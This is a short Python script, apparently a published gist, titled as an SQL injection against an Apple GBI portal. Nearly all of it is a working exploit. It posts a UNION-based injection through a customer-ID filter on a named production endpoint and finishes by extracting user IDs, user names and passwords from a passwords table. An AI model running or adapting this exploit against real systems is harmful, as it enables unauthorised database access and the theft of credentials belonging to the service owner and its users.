Apple GBI V SQL Injection
August 18, 2020 ยท View on GitHub
import requests, json
def doInject(injectionQuery): url = "https://gbiportal-apps-external.apple.com/gsf/partShipment/businessareas/AppleCare/subjectareas/acservice/services/batch" r = requests.post(url, headers = { "content-type": "application/json", "X-Requested-With": "XMLHttpRequest", "CSRF": "", "Origin": "https://gbiportal-apps-external-msc.apple.com", "Cookie": "" }, json = { "executionType": "parallel", "requests": [{ "queryName": "query_for_table_filter", "filters": { "D_sold_to_cust_Id": [injectionQuery], "D_ship_to_cust_Id": [""], "D_ORDER_SHIP_DATE": [""], "D_Repair_Type_Cd": [""], "D_Order_ID": [""], "D_Dispatch_Id": [""], "orderBy": ["service_notification_number"], "orderType": ["desc"], "limit": ["// limit 5000"], "offset": ["0"] } }] })
try:
for result in json.loads(r.text)["result"][0]["query_for_table_filter"]:
data = result["service_notification_number"].rstrip()
print " ".join(data.split("$$$")).encode("utf8")
except:
print 'failed'
def getData(columns, table, schema=""):
columnStr = ""
for column in columns:
if columnStr == "":
columnStr+="{}".format(column)
else:
columnStr+="||'$$$'||{}".format(column)
if schema:
fromStr = "{}.{}".format(schema,table)
else:
fromStr = table
query = "-1' UNION all SELECT {},null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null FROM/**/{} /*".format(columnStr, fromStr)
doInject(query)
getData(["user_id","user_name","password"],"passwords","v_catalog")